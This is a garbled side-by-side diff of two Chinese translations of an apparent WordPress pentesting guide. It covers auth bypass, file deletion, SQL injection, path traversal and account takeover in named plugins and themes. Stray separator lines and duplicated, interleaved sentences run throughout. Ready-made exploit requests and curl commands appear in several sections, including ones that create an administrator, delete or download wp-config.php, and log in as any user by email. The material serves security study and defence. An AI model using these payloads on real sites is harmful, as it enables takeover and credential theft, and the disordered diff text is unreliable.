当然,Wordpress 使用 PHP,插件内部的文件可以从 web 直接访问。因此,如果某个插件暴露了仅需访问该文件即可触发的易受攻击功能,那么任何用户都可以利用它。
|
||||||
|
|
||||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||||
|
|
||||||
一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以密码学方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。
|
一些插件为内部集成或反向代理实现了“trusted header”快捷方式,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者就可以伪造它并以管理员身份访问有权限的 REST 路由。
|
||||||
|
|
||||||
- Impact: 未经身份验证的权限提升为管理员,通过核心 users REST 路由创建新的管理员。
|
- Impact: 未认证的权限提升到 admin,通过核心 users REST 路由创建新的管理员。
|
||||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(强制用户 ID 为 1,通常是第一个管理员账号)。
|
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(强制 user ID 1,通常是第一个管理员帐号)。
|
||||||
- Exploited route: `POST /wp-json/wp/v2/users`,包含提升角色的数组。
|
- Exploited route: `POST /wp-json/wp/v2/users`,使用提升的 role 数组。
|
||||||
|
|
||||||
PoC
|
PoC
|
||||||
```http
|
```http
|
||||||
@ -391,40 +392,31 @@ Content-Length: 114
|
|||||||
|
|
||||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||||
```
|
```
|
||||||
为什么可行
|
为什么它有效
|
||||||
|
|
||||||
- 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
|
- 该插件将客户端可控的 header 映射到认证状态,并跳过 capability checks。
|
||||||
- WordPress core 期望此路由需要 `create_users` 能力;该插件通过直接从 header 设置当前用户上下文来绕过该检查。
|
- WordPress core 期望此路由具有 `create_users` capability;该插件利用此点,通过直接从 header 设置当前用户上下文来绕过它。
|
||||||
|
|
||||||
预期成功指示
|
预期成功指标
|
||||||
|
|
||||||
- 返回 HTTP 201,且 JSON 正文描述已创建的用户。
|
- 返回 HTTP 201,且响应体为描述已创建用户的 JSON。
|
||||||
- 在 `wp-admin/users.php` 中可见一个新的 admin 用户。
|
- 在 `wp-admin/users.php` 中可见一个新的管理员用户。
|
||||||
|
|
||||||
检测清单
|
检测清单
|
||||||
|
|
||||||
- Grep 查找 `getallheaders()`、`$_SERVER['HTTP_...']`,或会读取自定义 header 来设置用户上下文的 vendor SDK(例如 `wp_set_current_user()`、`wp_set_auth_cookie()`)。
|
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||||
- 审查 REST 注册,查找那些缺乏健壮 `permission_callback` 检查且依赖请求 header 的特权回调。
|
- 审查 REST 注册,查找缺乏健壮 `permission_callback` 检查、且依赖请求 header 的特权回调。
|
||||||
- 查找在仅由 header 值控制的 REST 处理程序内部使用核心用户管理函数(`wp_insert_user`、`wp_create_user`)的情况。
|
- 查找在 REST 处理器内仅以 header 值为门控的核心用户管理函数 (`wp_insert_user`, `wp_create_user`) 的使用。
|
||||||
|
|
||||||
加固建议
|
### 通过 wp_ajax_nopriv 的未经认证任意文件删除 (Litho Theme <= 3.0)
|
||||||
|
|
||||||
- 切勿从客户端可控的 header 推导认证或授权。
|
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||||
- 如果必须由反向代理注入身份,应在代理处终止信任并剥离入站副本(例如在边缘处 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证它。
|
|
||||||
- 对于执行特权操作的 REST 路由,要求使用 `current_user_can()` 检查并实现严格的 `permission_callback`(不要使用 `__return_true`)。
|
|
||||||
- 优先使用第一方认证(cookies、application passwords、OAuth),而不是 header “模拟”。
|
|
||||||
|
|
||||||
参考:参见本页末尾的链接,了解一个公开案例和更广泛的分析。
|
1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
|
||||||
|
|
||||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
|
||||||
|
|
||||||
WordPress 主题和插件经常通过 `wp_ajax_` 和 `wp_ajax_nopriv_` 钩子暴露 AJAX 处理程序。当使用 **_nopriv_** 变体时,**回调会被未认证的访问者访问到**,因此任何敏感操作还必须额外实现:
|
|
||||||
|
|
||||||
1. 一个 **能力检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
|
|
||||||
2. 一个通过 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
|
2. 一个通过 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
|
||||||
3. **严格的输入净化/验证**。
|
3. **严格的输入消毒/验证**。
|
||||||
|
|
||||||
Litho 多用途主题(< 3.1)在 *Remove Font Family* 功能中忘记了这三项控制,最终随主题发布了如下代码(已简化):
|
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||||
```php
|
```php
|
||||||
function litho_remove_font_family_action_data() {
|
function litho_remove_font_family_action_data() {
|
||||||
if ( empty( $_POST['fontfamily'] ) ) {
|
if ( empty( $_POST['fontfamily'] ) ) {
|
||||||
@ -443,60 +435,35 @@ die();
|
|||||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
```
|
```
|
||||||
该代码片段引入的问题:
|
* **未经身份验证的访问** – 已注册 `wp_ajax_nopriv_` 钩子。
|
||||||
|
* **No nonce / capability check** – 任何访客都可以访问该端点。
|
||||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
|
* **No path sanitisation** – 用户可控的 `fontfamily` 字符串在未过滤的情况下被拼接到文件系统路径中,允许经典的 `../../` 目录遍历。
|
||||||
* **No nonce / capability check** – any visitor can hit the endpoint.
|
|
||||||
* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
|
|
||||||
|
|
||||||
#### 利用
|
#### 利用
|
||||||
|
|
||||||
攻击者可以通过发送单个 HTTP POST 请求删除位于 **uploads 基目录以下**(通常为 `<wp-root>/wp-content/uploads/`)的任意文件或目录:
|
攻击者可以通过发送一个 HTTP POST 请求,删除位于 **uploads 基目录以下** 的任意文件或目录(通常是 `<wp-root>/wp-content/uploads/`):
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||||
-d 'action=litho_remove_font_family_action_data' \
|
-d 'action=litho_remove_font_family_action_data' \
|
||||||
-d 'fontfamily=../../../../wp-config.php'
|
-d 'fontfamily=../../../../wp-config.php'
|
||||||
```
|
```
|
||||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
因为 `wp-config.php` 位于 *uploads* 之外,默认安装中四个 `../` 就足够了。删除 `wp-config.php` 会在下一次访问时强制 WordPress 进入 *安装向导*,从而允许完全接管站点(攻击者只需提供新的 DB 配置并创建一个管理员用户)。
|
||||||
|
|
||||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
其他有影响的目标包括插件/主题的 `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。
|
||||||
|
|
||||||
#### 检测清单
|
#### 检测清单
|
||||||
|
|
||||||
* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。
|
* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。
|
||||||
* 未经消毒的用户输入被拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
|
* 将未经过滤的用户输入串联进路径(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
|
||||||
* 缺少 `check_ajax_referer()` 和 `current_user_can()`/`is_user_logged_in()`。
|
* 缺少 `check_ajax_referer()` 和 `current_user_can()`/`is_user_logged_in()`。
|
||||||
|
|
||||||
#### 加固
|
|
||||||
```php
|
|
||||||
function secure_remove_font_family() {
|
|
||||||
if ( ! is_user_logged_in() ) {
|
|
||||||
wp_send_json_error( 'forbidden', 403 );
|
|
||||||
}
|
|
||||||
check_ajax_referer( 'litho_fonts_nonce' );
|
|
||||||
|
|
||||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
|
||||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
|
||||||
|
|
||||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
|
||||||
wp_send_json_error( 'invalid path', 400 );
|
|
||||||
}
|
|
||||||
// … proceed …
|
|
||||||
}
|
|
||||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
|
||||||
// 🔒 NO wp_ajax_nopriv_ registration
|
|
||||||
```
|
|
||||||
> [!TIP]
|
|
||||||
> **始终** 将任何对磁盘的写入/删除操作视为有权限风险,并进行双重检查:
|
|
||||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
### 通过过时角色恢复和缺失授权进行的权限提升 (ASE "View Admin as Role")
|
||||||
|
|
||||||
许多插件通过将原始角色保存在 user meta 中来实现“view as role”或临时角色切换功能,以便稍后恢复。如果还原流程仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而未在移除当前角色并重新添加来自用户 meta 的保存角色之前检查 capabilities 和有效 nonce,则会导致 vertical privilege escalation。
|
许多插件通过在 user meta 中保存原始角色以实现 "view as role" 或临时角色切换功能,以便之后还原。如果还原流程仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查 capabilities 和有效的 nonce,这就会成为一次垂直权限提升。
|
||||||
|
|
||||||
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实示例。重置分支基于 `reset-for=<username>` 恢复角色——如果该用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中——但在移除当前角色并重新添加来自用户 meta `_asenha_view_admin_as_original_roles` 的保存角色之前,既没有进行 `current_user_can()` 检查,也没有进行 nonce 验证:
|
在实际案例中,Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)存在此问题。reset 分支在内部数组 `$options['viewing_admin_as_role_are']` 中出现该用户名时,会根据 `reset-for=<username>` 恢复角色,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加已保存角色之前,既没有执行 `current_user_can()` 检查,也没有进行 nonce 验证:
|
||||||
```php
|
```php
|
||||||
// Simplified vulnerable pattern
|
// Simplified vulnerable pattern
|
||||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||||
@ -511,17 +478,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
为何可被利用
|
为什么可被利用
|
||||||
|
|
||||||
- 信任 `$_REQUEST['reset-for']` 和一个插件选项,而没有进行服务器端授权。
|
- 信任 `$_REQUEST['reset-for']` 和一个插件选项,而没有进行服务端授权。
|
||||||
- 如果某用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径来恢复这些权限。
|
- 如果某用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高权限并被降级,他们可以通过访问重置路径恢复这些权限。
|
||||||
- 在某些部署中,任何已认证用户都可以触发针对仍保存在 `viewing_admin_as_role_are` 中的其他用户名的重置(授权失效)。
|
- 在某些部署中,任何已认证用户都可以为仍存在于 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权缺陷)。
|
||||||
|
|
||||||
攻击先决条件
|
|
||||||
|
|
||||||
- 启用了该功能的易受攻击的插件版本。
|
|
||||||
- 目标账户在用户 meta 中保留了先前使用留下的过期高权限角色。
|
|
||||||
- 任何已认证的会话;重置流程中缺少 nonce/capability。
|
|
||||||
|
|
||||||
利用(示例)
|
利用(示例)
|
||||||
```bash
|
```bash
|
||||||
@ -531,36 +492,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
|||||||
curl -s -k -b 'wordpress_logged_in=...' \
|
curl -s -k -b 'wordpress_logged_in=...' \
|
||||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||||
```
|
```
|
||||||
在易受攻击的构建上,这会移除当前角色并重新添加保存的原始角色(例如 `administrator`),从而有效提升权限。
|
在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 `administrator`),从而实现权限提升。
|
||||||
|
|
||||||
Detection checklist
|
检测清单
|
||||||
|
|
||||||
- 查找会在 user meta 中持久化“原始角色”的 role-switching 功能(例如 `_asenha_view_admin_as_original_roles`)。
|
- 查找在 user meta 中持久化 “original roles” 的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
|
||||||
- 识别重置/恢复路径,这些路径会:
|
- 识别重置/还原路径,这些路径:
|
||||||
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
|
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
|
||||||
- 通过 `add_role()` / `remove_role()` 修改角色,但未使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。
|
- 通过 `add_role()` / `remove_role()` 修改角色,而没有使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。
|
||||||
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于执行者的权限。
|
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于操作者的能力。
|
||||||
|
|
||||||
Hardening
|
|
||||||
|
|
||||||
- 在所有会改变状态的分支上强制执行权限检查(例如 `current_user_can('manage_options')` 或更严格的检查)。
|
|
||||||
- 所有角色/权限更改都必须使用 nonce 并进行验证:`check_admin_referer()` / `wp_verify_nonce()`。
|
|
||||||
- 绝不信任请求中提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
|
|
||||||
- 在配置档/角色更新时使“原始角色”状态失效,以避免陈旧的高权限恢复:
|
|
||||||
```php
|
|
||||||
add_action( 'profile_update', function( $user_id ) {
|
|
||||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
|
||||||
}, 10, 1 );
|
|
||||||
```
|
|
||||||
- 考虑尽量少存储状态,并为临时角色切换使用时限性、capability-guarded tokens。
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||||
|
|
||||||
一些插件将 user-switching helpers 绑定到公共的 `init` hook,并从客户端可控的 cookie 派生身份。如果代码在未验证 authentication、capability 和有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何 unauthenticated 访客都可以强制以任意用户 ID 登录。
|
一些插件将用户切换辅助函数挂到公共的 `init` hook,并从客户端可控的 cookie 中推断身份。如果代码在未验证身份、能力和有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何未认证的访问者都可以强制以任意用户 ID 登录。
|
||||||
|
|
||||||
典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1):
|
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||||
```php
|
```php
|
||||||
function service_finder_submit_user_form(){
|
function service_finder_submit_user_form(){
|
||||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||||
@ -589,13 +537,13 @@ wp_die('Original user not found.');
|
|||||||
wp_die('No original user found to switch back to.');
|
wp_die('No original user found to switch back to.');
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
为什么可被利用
|
为何可被利用
|
||||||
|
|
||||||
- 公开的 `init` hook 使该处理程序对未认证用户可达(没有 `is_user_logged_in()` 检查)。
|
- 公共的 `init` hook 使得该处理程序对未认证的用户可达(没有 `is_user_logged_in()` 保护)。
|
||||||
- 身份来源于客户端可修改的 cookie(`original_user_id`)。
|
- 身份来自于可由客户端修改的 cookie(`original_user_id`)。
|
||||||
- 直接调用 `wp_set_auth_cookie($uid)` 会在没有任何 capability/nonce 检查的情况下将请求者以该用户身份登录。
|
- 对 `wp_set_auth_cookie($uid)` 的直接调用会将请求者以该用户身份登录,而不会进行任何 capability/nonce 检查。
|
||||||
|
|
||||||
利用(未认证)
|
利用(无需身份验证)
|
||||||
```http
|
```http
|
||||||
GET /?switch_back=1 HTTP/1.1
|
GET /?switch_back=1 HTTP/1.1
|
||||||
Host: victim.example
|
Host: victim.example
|
||||||
@ -605,32 +553,32 @@ Connection: close
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
### WAF considerations for WordPress/plugin CVEs
|
### WAF 对 WordPress/plugin CVEs 的考虑
|
||||||
|
|
||||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
通用的 edge/server WAFs 针对广泛模式(SQLi, XSS, LFI)进行调优。许多高危的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非检测引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。
|
||||||
|
|
||||||
进攻注意事项
|
攻击提示
|
||||||
|
|
||||||
- 针对插件特定端点使用干净的 payload:`admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
- 针对 plugin 特定端点使用干净的 payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||||
- 先尝试未认证路径(AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。默认 payload 常常在不混淆的情况下就能成功。
|
- 先测试未认证路径(AJAX `nopriv`, REST 中带宽松的 `permission_callback`, 公开 shortcodes)。默认 payloads 往往在不做混淆的情况下就能成功。
|
||||||
- 典型高影响场景:privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
- 常见的高危情况:权限提升(broken access control)、任意文件上传/下载、LFI、open redirect。
|
||||||
|
|
||||||
防御注意事项
|
防御提示
|
||||||
|
|
||||||
- 不要依赖通用 WAF 签名来保护插件 CVEs。应在应用层实施针对漏洞的虚拟补丁,或尽快更新。
|
- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层、针对具体漏洞的虚拟补丁,或尽快更新。
|
||||||
- 在代码中优先使用正向安全检查(capabilities, nonces, strict input validation)而不是基于负向的 regex 过滤。
|
- 在代码中优先使用正向安全检查(capabilities、nonces、严格的输入验证),而不是基于否定的 regex 过滤。
|
||||||
|
|
||||||
## WordPress Protection
|
## WordPress Protection
|
||||||
|
|
||||||
### Regular Updates
|
### Regular Updates
|
||||||
|
|
||||||
确保 WordPress、plugins 和 themes 是最新的。还要确认在 wp-config.php 中启用了自动更新:
|
确保 WordPress、plugins 和 themes 已更新到最新版本。还要确认在 wp-config.php 中启用了自动更新:
|
||||||
```bash
|
```bash
|
||||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||||
add_filter( 'auto_update_plugin', '__return_true' );
|
add_filter( 'auto_update_plugin', '__return_true' );
|
||||||
add_filter( 'auto_update_theme', '__return_true' );
|
add_filter( 'auto_update_theme', '__return_true' );
|
||||||
```
|
```
|
||||||
此外,**仅安装可信赖的 WordPress 插件和主题**。
|
此外,**仅安装可信的 WordPress 插件和主题**。
|
||||||
|
|
||||||
### 安全插件
|
### 安全插件
|
||||||
|
|
||||||
@ -642,14 +590,14 @@ add_filter( 'auto_update_theme', '__return_true' );
|
|||||||
|
|
||||||
- 移除默认的 **admin** 用户
|
- 移除默认的 **admin** 用户
|
||||||
- 使用 **强密码** 和 **2FA**
|
- 使用 **强密码** 和 **2FA**
|
||||||
- 定期 **审核** 用户 **权限**
|
- 定期 **审查** 用户 **权限**
|
||||||
- **限制登录尝试次数** 以防止 Brute Force 攻击
|
- **限制登录尝试** 以防止 Brute Force 攻击
|
||||||
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
|
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
|
||||||
|
|
||||||
|
|
||||||
### 未认证的 SQL Injection(由于验证不足)(WP Job Portal <= 2.3.2)
|
### 未经身份验证的 SQL Injection(由于验证不足)(WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
WP Job Portal 招聘插件暴露了一个 savecategory 任务,该任务最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
|
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 中执行了以下易受攻击的代码:
|
||||||
```php
|
```php
|
||||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||||
$inquery = ' ';
|
$inquery = ' ';
|
||||||
@ -659,19 +607,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
|||||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||||
```
|
```
|
||||||
Issues introduced by this snippet:
|
此片段引入的问题:
|
||||||
|
|
||||||
1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
|
1. **未清理的用户输入** – `parentid` 直接来自 HTTP 请求。
|
||||||
2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
2. **WHERE 子句中的字符串拼接** – 没有使用 `is_numeric()` / `esc_sql()` / prepared statement。
|
||||||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
3. **无需认证即可访问** – 虽然该 action 通过 `admin-post.php` 执行,但唯一的检查是 **CSRF nonce**(`wp_verify_nonce()`),任何访问者都可以从嵌入了短代码 `[wpjobportal_my_resumes]` 的公共页面获取到。
|
||||||
|
|
||||||
#### 利用
|
#### 利用
|
||||||
|
|
||||||
1. 获取一个新的 nonce:
|
1. 获取一个新的 nonce:
|
||||||
```bash
|
```bash
|
||||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||||
```
|
```
|
||||||
2. 通过滥用 `parentid` 注入任意 SQL:
|
2. 通过滥用 `parentid` 注入任意 SQL:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||||
-d 'task=savecategory' \
|
-d 'task=savecategory' \
|
||||||
@ -679,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
|||||||
-d 'parentid=0 OR 1=1-- -' \
|
-d 'parentid=0 OR 1=1-- -' \
|
||||||
-d 'cat_title=pwn' -d 'id='
|
-d 'cat_title=pwn' -d 'id='
|
||||||
```
|
```
|
||||||
响应会披露注入查询的结果或更改数据库,从而证明 SQLi。
|
响应会返回注入查询的结果或修改数据库,从而证明存在 SQLi。
|
||||||
|
|
||||||
|
|
||||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
另一个任务,**downloadcustomfile**,允许访问者通过 path traversal 下载磁盘上的 **任意文件**。易受攻击的 sink 位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
另一个任务 **downloadcustomfile** 允许访问者通过路径遍历下载磁盘上的 **任意文件**。易受攻击的 sink 位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||||
```php
|
```php
|
||||||
$file = $path . '/' . $file_name;
|
$file = $path . '/' . $file_name;
|
||||||
...
|
...
|
||||||
echo $wp_filesystem->get_contents($file); // raw file output
|
echo $wp_filesystem->get_contents($file); // raw file output
|
||||||
```
|
```
|
||||||
`$file_name` 由攻击者控制并在 **without sanitisation** 的情况下被拼接。再次,唯一的门槛是可以从 resume 页面获取的 **CSRF nonce**。
|
`$file_name` 是 attacker-controlled 并在拼接时 **未经过清理**。再次,唯一的门槛是一个 **CSRF nonce**,可以从简历页面获取。
|
||||||
|
|
||||||
#### Exploitation
|
#### Exploitation
|
||||||
```bash
|
```bash
|
||||||
@ -701,9 +649,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
|||||||
--data-urlencode 'entity_id=1' \
|
--data-urlencode 'entity_id=1' \
|
||||||
--data-urlencode 'file_name=../../../wp-config.php'
|
--data-urlencode 'file_name=../../../wp-config.php'
|
||||||
```
|
```
|
||||||
服务器响应并返回 `wp-config.php` 的内容,leaking DB credentials and auth keys。
|
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
|
||||||
|
|
||||||
## 参考资料
|
## 未经身份验证的账户接管通过 Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||||
|
|
||||||
|
许多主题/插件通过 admin-ajax.php 暴露“social login”辅助程序。如果一个未经身份验证的 AJAX 动作 (wp_ajax_nopriv_...) 在提供者数据缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),就会导致完全的身份验证绕过。
|
||||||
|
|
||||||
|
典型的有缺陷的模式(简化)
|
||||||
|
```php
|
||||||
|
public function check_login() {
|
||||||
|
// ... request parsing ...
|
||||||
|
switch ($_POST['using']) {
|
||||||
|
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||||
|
case 'google': /* set $user_email from verified Google token */ break;
|
||||||
|
// other providers ...
|
||||||
|
default: /* unsupported/missing provider – execution continues */ break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||||
|
$user_email = !empty($user_email)
|
||||||
|
? $user_email
|
||||||
|
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||||
|
|
||||||
|
if (empty($user_email)) {
|
||||||
|
wp_send_json(['status' => 'not_user']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$user = get_user_by('email', $user_email);
|
||||||
|
if ($user) {
|
||||||
|
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||||
|
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||||
|
}
|
||||||
|
wp_send_json(['status' => 'not_user']);
|
||||||
|
}
|
||||||
|
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||||
|
```
|
||||||
|
为何可被利用
|
||||||
|
|
||||||
|
- 可在未认证情况下通过 admin-ajax.php(wp_ajax_nopriv_… action)访问。
|
||||||
|
- 在状态更改之前没有 nonce/capability checks。
|
||||||
|
- 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。
|
||||||
|
- get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任意存在的邮箱地址。
|
||||||
|
|
||||||
|
利用(未认证)
|
||||||
|
|
||||||
|
- 先决条件:攻击者能够访问 /wp-admin/admin-ajax.php 并知道/猜测有效的用户邮箱。
|
||||||
|
- 将 provider 设置为不受支持的值(或省略)以触发默认分支并传递 id=<victim_email>。
|
||||||
|
```http
|
||||||
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||||
|
Host: victim.tld
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||||
|
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||||
|
```
|
||||||
|
预期成功指标
|
||||||
|
|
||||||
|
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||||
|
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||||
|
|
